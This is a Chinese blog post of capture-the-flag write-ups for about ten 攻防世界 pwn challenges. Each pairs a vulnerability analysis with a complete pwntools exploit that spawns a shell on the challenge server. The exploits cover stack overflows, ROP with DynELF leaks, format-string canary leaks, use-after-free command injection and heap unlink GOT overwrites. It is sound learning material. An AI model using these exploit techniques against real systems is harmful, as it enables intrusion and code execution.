美文网首页CTF-PWN挨踢(IT)
攻防世界高手进阶pwn

攻防世界高手进阶pwn

作者: Adam_0 | 来源:发表于2019-10-06 20:04 被阅读0次

    歇了很长一段时间,终于开始了我的攻防世界pwn之路。
    立一个flag:每日一题,只能多不能少。

    0x00 dice_game

    检查保护


    image.png

    查看逻辑,这是一个猜数游戏,猜对50次就可以得到flag。
    关键点就在这个随机数种子,如果把这个种子设成0,又给了libc.so.6,那么这个随机数就在我们的掌控那个范围内了。


    image.png

    漏洞点在read函数,分配了0x50大小的空间,buf分配了55,这里看到buf与seed偏移为0x40。


    image.png
    exp:
    #-*- coding:utf-8 -*-
    from pwn import *
    from ctypes import *
    #p = process('./dice_game')
    p = remote('111.198.29.45',31226)
    
    payload = 'a'*0x40 + p64(0)
    
    lib = cdll.LoadLibrary('libc.so.6')
    p.recvuntil("Welcome, let me know your name: ")
    p.sendline(payload)
    a=[]
    for i in range(50):
        a.append(lib.rand()%6+1)
    #print(a)
    for i in a:
        p.recvuntil("Give me the point(1~6): ")
        p.sendline(str(i))
    p.interactive()
    

    0x01 warmup

    这里没有源码就很***啊,我在BUU上找到了源码,还是假吧意思查看保护。


    image.png image.png

    很明显gets可以溢出,sub_40060D泄露system地址,然后一把梭。

    exp:
    #-*- coding:utf-8-*
    from pwn import *
    p = remote('111.198.29.45',40497)
    #p = process('./warmup_csaw_2016')
    padding = 0x40 + 8
    sys_addr = 0x40060d
    payload = 'a'*padding + p64(sys_addr) 
    print payload
    p.sendline(payload)
    p.interactive()
    

    0x02 forgot

    检查保护


    image.png

    简单看一下逻辑,一直看发现有点绕,跳到最后看到一个(*(&v3 + --v14))();,这里调用了函数返回一些字符串,又找到一个system('cat flag')的函数,那么这道题就是需要覆盖v3的地址为system的地址,就是一个got表的覆盖吧。


    image.png
    这里有两种方法覆盖,一:在输入name时覆盖;二:在输入邮箱时覆盖。这里使用第二种,发现v2与v3偏移是32。
    image.png
    exp:
    #-*-coding:utf-8-*-
    from pwn import *
    
    #p = process('./forgot')
    p = remote('111.198.29.45',41636)
    
    sys_addr = 0x80486cc
    
    payload = 'A'* 32 + p32(sys_addr)
    
    print p.recvuntil('> ')
    p.sendline('a')
    print p.recvuntil('> ')
    p.sendline(payload)
    print p.recv()
    

    0x03 stack2

    检查保护


    image.png

    IDA分析逻辑,得知,这是一个简单的运算器的程序,那么漏洞点在哪里呢?
    仔细分析发现了这里的v13没有检查长度。可以利用,又看到了system('\bin\bash');
    是不是很高兴。OK了?


    image.png

    现在主要就是找偏移了,这里学习了其他大佬的WP复现的。使用IDA动态调试。
    首先在漏洞点下断点,再在程序结束后的return下断点


    image.png

    查看EBP,得到栈基址FF8FC1A8。


    image.png

    单步往下走,到输入函数是输入5,查看栈情况,往下找,找到栈顶地址为FF8FC22C,


    image.png

    这我们就找到偏移量为:hex(0xFF8FC22C-0xFF8FC1A8) = 0x84
    写了脚本还是不对。。。。万恶的出题人。。。
    找到官方WP,得知如下。需要sh。


    image.png

    这里0x080848980是‘/bin/bash’, 这里是一个char型数组,那么sh就是第八个元素,command[7],所以地址应该是0x08048987。


    image.png

    地址为小端序存储,并且是char类型,占一个字节,所以按一字节分割地址,倒序发送。首先发送system地址,再发送sh地址把sh写入栈中。

    exp
    #-*-coding:utf-8-*-
    from pwn import *
    
    
    #p = process('./stack2')
    p = remote('111.198.29.45',46611)
    
    offest = 0x84
    system_plt_addr = 0x08048450
    sh_addr = 0x08048980+7
    
    
    def write_addr(offest,res):
        p.sendline('3')
        p.recvuntil("which number to change:")
        p.sendline(str(offest))
        p.recvuntil("new number:")
        p.sendline(str(res))
        p.recvuntil("5. exit")
    
    p.recvuntil("How many numbers you have:")
    p.sendline('1')
    p.recvuntil("Give me your numbers")
    p.sendline('2')
    p.recvuntil("5. exit")
        
    #写入system_plt_addr
    write_addr(offest,0x50)
    write_addr(offest+1,0x84)
    write_addr(offest+2,0x04)
    write_addr(offest+3,0x08)
    #写入sh_addr
    offest += 8 
    write_addr(offest,0x87)
    write_addr(offest+1,0x89)
    write_addr(offest+2,0x04)
    write_addr(offest+3,0x08)
    
    p.sendline('5')
    p.interactive()
    

    0x04 pwn-100

    这道题学到了很多东西:DynELF模块泄露system地址,栈恢复 ,rop链 。
    检查保护


    image.png

    首先是寻找漏洞点,很简单,read()造成栈溢出,偏移也容易找到为 0x40+8 。
    利用思路:
    无libc,system。这时就可以利用pwntools里的DynELF模块泄露system地址,再写入'/bin/sh' ,最后调用system。
    首先找到 pop rdi ; ret ,注意:x64中,主要使用__libc_csu_init中的两段代码来进行参数传递和函数调用,这两段代码分别位于0x400740和0x40075a,并且这两段代码执行后会将栈移动56字节,使用后需要再填充56字节。

    :~/桌面/temp/功放世界$ ROPgadget --binary pwn-100 --only "pop|ret" | grep "rdi"
    0x0000000000400763 : pop rdi ; ret
    

    再找可写入的地址: 0x00600e10 ~ 0x00601068

    gdb-peda$ vmmap
    Warning: not running
    Start              End                Perm  Name
    0x004004c8         0x0040077d         rx-p  /home/dj/桌面/temp/功放世界/pwn-100
    0x00400238         0x00400904         r--p  /home/dj/桌面/temp/功放世界/pwn-100
    0x00600e10         0x00601068         rw-p  /home/dj/桌面/temp/功放世界/pwn-100
    

    我们使用DyELF循环泄露地址,每次循环一次就调用start(就是main()函数执行之前所作的事情)进行栈恢复。这里有DynELF的exp模板

    exp
    #-*-coding:utf-8 -*-
    from pwn import *
    
    p = remote('111.198.29.45',40827)
    #p = process('./pwn-100')
    elf = ELF('./pwn-100')
    
    start_addr = 0x400550
    pop_rdi_ret = 0x400763
    
    rop1 = 0x0400740
    rop2 = 0x040075a
    write_addr = 0x60107c #在这个范围内(0x00600e10 , 0x00601068)都可以
    
    puts_addr = elf.plt['puts']
    read_addr = elf.got['read']
    
    def leak(addr):
        payload = 'a'*0x48 
        payload += p64(pop_rdi_ret) + p64(addr) + p64(puts_addr) + p64(start_addr)
        payload = payload.ljust(200,'a') 
        #循环泄露地址,payload填充为200字节。
        p.send(payload)
        p.recvuntil("bye~\n")
        
        count = 0
        up = ""
        data = ''
        while True:
            c = p.recv(numb = 1,timeout = 0.5)#等待0.5s接收输出
            count +=1
            if up == '\n' and c == '':
                data = data[:-1]
                data += '\x00' 
                break
            else:
                data += c
            up = c
        data = data[:8]
        log.info("%#x => %s" % (addr, (data or '').encode('hex')))
        return data
    
    #泄露system地址
    d = DynELF(leak, elf=elf)
    sys_addr = d.lookup('__libc_system','libc')
    print 'sys_addr:',hex(sys_addr)
    print "write /bin/sh to bss"
    
    #构造read函数payload
    payload1 = 'a'*0x48 
    payload1 += p64(rop2) + p64(0) + p64(1) 
    payload1 + p64(read_addr) + p64(8) + p64(write_addr) + p64(0) + p64(rop1)
    payload1 +=  'a' * 56 + p64(start_addr)  # 填充56字节
    payload1 = payload1.ljust(200,'a')
    
    p.send(payload1)
    print p.recvuntil('bye~\n')
    #写入‘/bin/sh’
    p.send("/bin/sh\x00")
    
    #调用system()
    payload2 = 'a'*0x48 + p64(pop_rdi_ret) + p64(write_addr) + p64(sys_addr) + p64(start_addr)
    payload2 = payload2.ljust(200,'a')
    p.send(payload2)
    p.interactive()
    

    0x05 Mary_morton

    检查保护


    image.png

    分析逻辑,其中一个格式化字符漏洞,一个栈溢出,还有system('cat flag')。但是程序开启了canary保护。红色框出来的就是canary保护,如果rax与0x28异或不等于0就运行___stack_chk_fail,程序检测异常直接退出。


    image.png

    利用思路:
    通过格式化字符漏洞获得canary值,在利用栈溢出布局栈结构把canary放上去,绕过保护后调用system()。

    OK,先分析格式化字符漏洞的偏移,buf与v2连续,得到buf大小为0x90-0x8 = 0x88,由于是64位程序,在写入参数是先传入那六个寄存器(rdi,rsi,rdx,rcx,r8,r9 ),所以偏移为 0x88 / 8 + 6 = 23 字节 。


    image.png

    再分析栈溢出的偏移,这里不用传参,直接就是buf的大小:0x88 。


    image.png
    exp
    #-*- coding:utf-8 -*-
    from pwn import *
    
    p = remote('111.198.29.45',35986)
    #p = process('./Mary_Morton')
    
    sys_addr = 0x04008DA
    
    p.recvuntil('3. Exit the battle ')
    p.sendline('2')
    p.sendline('%23$p') # 格式化字符串可以使用一种特殊的表示形式来指定处理第n个参数
                        # %后加输出的第几个值,$后加以什么形式输出,这里需要输出地址就使用p。
    sleep(0.5)
    p.recvuntil('0x')
    
    canary = int(p.recv(16),16)
    print "canary_addr  = ",hex(canary)
    p.recvuntil('3. Exit the battle ')
    p.sendline('1')
    
    payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(sys_addr) #
    
    p.sendline(payload)
    p.interactive()  
    

    0x06 monkey

    一脸懵逼,查看WP,直接os.system('/bin/sh') ,就得到shell了,js咱也不会啊。

    0x07 time_formatter

    终于做到堆题了,日常自闭。
    IDA 分析,程序有五个功能

    image.png

    第一个函数跟进里面有个strdup()函数,strdup()说明:返回指向被复制的字符串的指针,所需空间由malloc()分配且可以由free()释放。这里就是通过malloc()给ptr分配空间。

    image.png

    还看到这里有设置输出时间的类型,其实就是date命令的参数。

    image.png

    第二个貌似没什么用,就不分析了,看到第三个函数,又是通过malloc()给value分配空间。

    image.png

    第四个函数是对设置的时间格式输出,我们看到我们的输入会放到下面的system()中执行。

    image.png

    第五个函数这里就有一个UAF (Use After Free)漏洞,是先free()再询问是否真的退出。

    image.png

    所以我们利用这个漏洞,先调用第一个函数,然后free()掉,再调用第二个函数时传入 ';/bin/sh #\ ,这里注意命令的闭合。这里value就重用了刚刚没有内存回收的ptr块。再调用第四个函数将刚刚value的值作为system()的参数。就得到了shell。

    exp:
    #-*-coding: utf-8-*-
    from pwn import *
    
    p = remote('111.198.29.45',43208)
    #p = process('./time_formatter')
    
    print p.recvuntil('> ')
    p.sendline('1')
    print p.recvuntil('Format: ')
    p.sendline('%F')
    
    print p.recvuntil('> ')
    p.sendline('5')
    print p.recvuntil('Are you sure you want to exit (y/N)? ')
    p.sendline('N')
    
    print p.recvuntil('> ')
    p.sendline('3')
    print p.recvuntil('Time zone: ')
    p.sendline("';/bin/sh #")
    print p.recvuntil('> ')
    p.sendline('4')
    
    p.sendline('cat flag')
    print p.recv()
    

    0x08 pwn-200

    简单的栈溢出,开启了NX保护,不能使用shellcode,无libc,所以使用DynELF模块泄露system地址。最后需要栈恢复,再调用system(‘/bin/sh\00')函数得到shell。

    exp:
    #-*-coding:utf-8-*-
    from pwn import *
    
    p = remote('111.198.29.45',45300)
    # p = process('./pwn-200')
    
    elf = ELF('./pwn-200')
    ppp_addr = 0x0804856c
    start_addr = 0x080483D0
    fun_addr = 0x08048484
    write_plt = elf.plt['write']
    read_plt = elf.plt['read']
    bss_addr = elf.bss()
    offest = 0x6c + 4
    
    def leak(addr):
        payload = 'a'*offest + p32(write_plt) + p32(fun_addr) + p32(1)
        payload += p32(addr) + p32(4)
        p.send(payload)
        res = p.recv(4)
        return res
    print p.recv()
    d = DynELF(leak,elf = ELF('./pwn-200'))
    system_addr = d.lookup('system','libc')
    
    payload = 'a'*offest + p32(start_addr)
    p.sendline(payload)
    print p.recv()
    
    payload = 'a'*offest + p32(read_plt) + p32(ppp_addr) + p32(0)
    payload += p32(bss_addr) + p32(8) + p32(system_addr) + p32(fun_addr)
    payload += p32(bss_addr) + '/bin/sh\00' 
    p.send(payload)
    p.interactive()
    

    0x09 4-ReeHY-main-100

    检查保护


    image.png

    IDA分析,菜单类型的题目。查看各个功能:写、删除、编辑、打印(这个功能没用),在”写“功能里面发现,size 和 cun 输入是有符号数,所以可以输入负数,在read时转化成无符号数会变成很大的整数,造成整型溢出。

     if ( dword_6020AC <= 4 )
      {
        puts("Input size");
        result = sub_400C55("Input size");
        LODWORD(nbytes) = result;
        if ( result <= 0x1000 )
        {
          puts("Input cun");
          result = sub_400C55("Input cun");
          v3 = result;
          if ( result <= 4 )
          {
            dest = malloc((signed int)nbytes);
            puts("Input content");
            if ( (signed int)nbytes > 0x70 )
            {
              read(0, dest, (unsigned int)nbytes);
            }
            else
            {
              read(0, &buf, (unsigned int)nbytes);
              memcpy(dest, &buf, (signed int)nbytes);
            }
            *(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
            *((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
            dword_6020E8[4 * v3] = 1;
            ++dword_6020AC;
            result = fflush(stdout);
          }
        }
      }
    

    再分析“删除”功能,这里没有判断堆块是否存在就free,所以可以double-free。

    __int64 sub_400B21()
    {
      __int64 result; // rax
      int v1; // [rsp-4h] [rbp-4h]
    
      puts("Chose one to dele");
      result = sub_400C55("Chose one to dele");
      v1 = result;
      if ( (signed int)result <= 4 )
      {
        free(*((void **)&unk_6020E0 + 2 * (signed int)result));
        dword_6020E8[4 * v1] = 0;
        puts("dele success!");
        result = (unsigned int)(dword_6020AC-- - 1);
      }
      return result;
    }
    

    在分析”修改“功能,这里是修改内容,验证了堆块是否存在。

    int sub_400BA1()
    {
      int result; // eax
      int v1; // [rsp-4h] [rbp-4h]
    
      puts("Chose one to edit");
      result = sub_400C55("Chose one to edit");
      v1 = result;
      if ( result <= 4 )
      {
        result = dword_6020E8[4 * result];
        if ( result == 1 )
        {
          puts("Input the content");
          read(0, *((void **)&unk_6020E0 + 2 * v1), *(unsigned int *)(4LL * v1 + qword_6020C0));
          result = puts("Edit success!");
        }
      }
      return result;
    }
    
    解题思路:

    1.首先申请两个堆块0、1(这里申请的大小要合适,必须使用small bin后面才会unlink)。
    2.然后free堆块0、1,堆块0做为unlink的块,堆块1做为free的块。
    3.申请一个大小为 “堆块0加堆块1的大小“ 的堆块,这样会合并刚刚free的两个堆块。这时需要构造payload(具体看下面exp)欺骗系统堆块0已经被free了。
    4.利用double-free,再free掉堆块1,这样使指针指向堆块1的前三个字节。
    5.修改堆块0,将前三个字节覆盖掉,然后修改为free的GOT表地址和atoi的GOT表地址(用于计算偏移)。
    6.再次修改堆块0,修改free为puts的plt地址,目的是将atoi的地址打印出来。
    7.计算偏移,得到system地址,传入‘/bin/sh‘得到shell。

    (盗一下图)

    chunk0                malloc返回的ptr        chunk1        malloc返回的ptr
    |                     |                     |             |
    +-----------+---------+---+---+-------------+------+------+----+----+------+
    |           |         |   |   |             |      |      |    |    |      |
    |           |         |   |   |             | prev | size&|    |    |      |
    | prev_size |size&Flag|   |   |             | size | flag |    |    |      |
    |           |         |   |   |             |      |      |    |    |      |
    |           |         |   |   |             |      |      |    |    |      |
    +-----------+---------+---+---+-------------+------+------+----+----+------+
    
    hunk0                malloc返回的ptr           chunk1        malloc返回的ptr
    |                     |                        |             |
    +-----------+---------+----+----+----+----+----+------+------+----+----+------+
    |           |         |fake|fake|fake|fake| D  | fake | fake |    |    |      |
    |           |         |prev|size| FD | BK | A  | prev | size&|    |    |      |
    | prev_size |size&Flag|size|    |    |    | T  | size | flag |    |    |      |
    |           |         |    |    |    |    | A  |      |      |    |    |      |
    |           |         |    |    |    |    |    |      |      |    |    |      |
    +-----------+---------+----+----+----+----+----+------+------+----+----+------+
                          |-------new_chunk0-------|
    

    exp:

    # -*- coding: utf-8 -*-  
    from pwn import*
    from LibcSearcher import *
    context(arch = 'amd64', os = 'linux',log_level="debug") 
    
    def Welcome():
        p.recvuntil("$ ")
        p.sendline("mutepig")
     
    def Add(size,id,content):
        p.recvuntil("$ ")
        p.sendline("1")
        p.recvuntil("size\n")
        p.sendline(str(size))
        p.recvuntil("cun\n")
        p.sendline(str(id))
        p.recvuntil("content\n")
        p.sendline(content)
     
    def Remove(id):
        p.recvuntil("$ ")
        p.sendline("2")
        p.recvuntil("dele\n")
        p.sendline(str(id))
     
    def Edit(id,content):
        p.recvuntil("$ ")
        p.sendline("3")
        p.recvuntil("edit\n")
        p.sendline(str(id))
        p.recvuntil("content\n")
        p.send(content)
    
    if 0:  # local
        p = process("./4-ReeHY-main")
    else:
        p = remote('111.198.29.45',57450)
    elf = ELF('4-ReeHY-main')
    free_got = elf.got['free']
    atoi_got = elf.got['atoi']
    puts_plt = elf.plt['puts']
    heap_addr = 0x602100
    
    print hex(free_got)
    Welcome()
    Add(512,0,"/bin/sh\x00")
    Add(512,1,"11111111")
    Add(512,2,"22222222")
    Add(512,3,"33333333")
    
    Remove(3)   
    Remove(2)
    print hex(heap_addr)
    
    payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10)
    payload +=  'A'*(512-0x20) + p64(512) + p64(512)
    
    Add(1024,2,payload)
    Remove(3)  #double free后,此时2的指针指向存放该指针的前3字节,在栈上
    
    Edit(2,'1'*0x18 + p64(free_got)+p64(1)+p64(atoi_got))   
    #这里修改的是存放指向2和3的指针的位置,edit后,原本指向2的指针已指向got表中的free
    #原本指向3的指针指向got表中atoi函数的位置,用于泄露atoi函数的地址。
    
    Edit(2,p64(puts_plt))   #修改free为puts
    Remove(3)              #相当于puts(got[atoi])
    
    atoi_addr=p.recv(6)
    atoi_addr=atoi_addr.ljust(8,'\x00')
    atoi_addr = u64(atoi_addr)
    obj=LibcSearcher("atoi",atoi_addr)
    base_addr = atoi_addr - obj.dump('atoi')
    print "======="+hex(base_addr)
    
    system_addr = base_addr + obj.dump('system')
    Edit(2,p64(system_addr))
    
    Remove(0)
    p.interactive()
    
    
    

    0x10 babyfenngshui

    #-*- coding:utf-8-*-
    from pwn import *
    from LibcSearcher import *
    p=remote('111.198.29.45',35423)
    elf=ELF('./babyfengshui')
    #libc = ELF('libc.so.6')
    obj=LibcSearcher('free',0xf7659750)
    def add_note(size,length,text):
        p.recvuntil('Action: ')
        p.sendline('0')
        p.recvuntil('size of description: ')
        p.sendline(str(size))
        p.recvuntil('name: ')
        p.sendline('AAA')
        p.recvuntil('text length: ')
        p.sendline(str(length))
        p.recvuntil('text: ')
        p.sendline(text)
    def delete_note(idx):
        p.recvuntil('Action: ')
        p.sendline('1')
        p.recvuntil('index: ')
        p.sendline(str(idx))
    def display_note(idx):
        p.recvuntil('Action: ')
        p.sendline('2')
        p.recvuntil('index: ')
        p.sendline(str(idx))
    def update_note(idx,length,text):
        p.recvuntil('Action: ')
        p.sendline('3')
        p.recvuntil('index: ')
        p.sendline(str(idx))
        p.recvuntil('text length: ')
        p.sendline(str(length))
        p.sendlineafter('text: ',text)
    
    add_note(0x80,0x80,'abcd')
    add_note(0x80,0x80,'efgh')
    add_note(0x8,0x8,'/bin/sh\00')
    
    delete_note(0)
    
    add_note(0x100,0x19c,'a'*0x198 + p32(elf.got['free']))
    display_note(1)
    p.recvuntil('description: ')
    free_addr=u32(p.recv(4))
    print hex(free_addr)
    
    system_addr = free_addr - (obj.dump('free') - obj.dump('system'))
    log.info("system_addr 0x%x" % system_addr)
    update_note(1,0x4,p32(system_addr))
    
    delete_note(2)
    
    p.interactive()
    
    

    相关文章

      网友评论

        本文标题:攻防世界高手进阶pwn

        本文链接:https://www.haomeiwen.com/subject/jfiupctx.html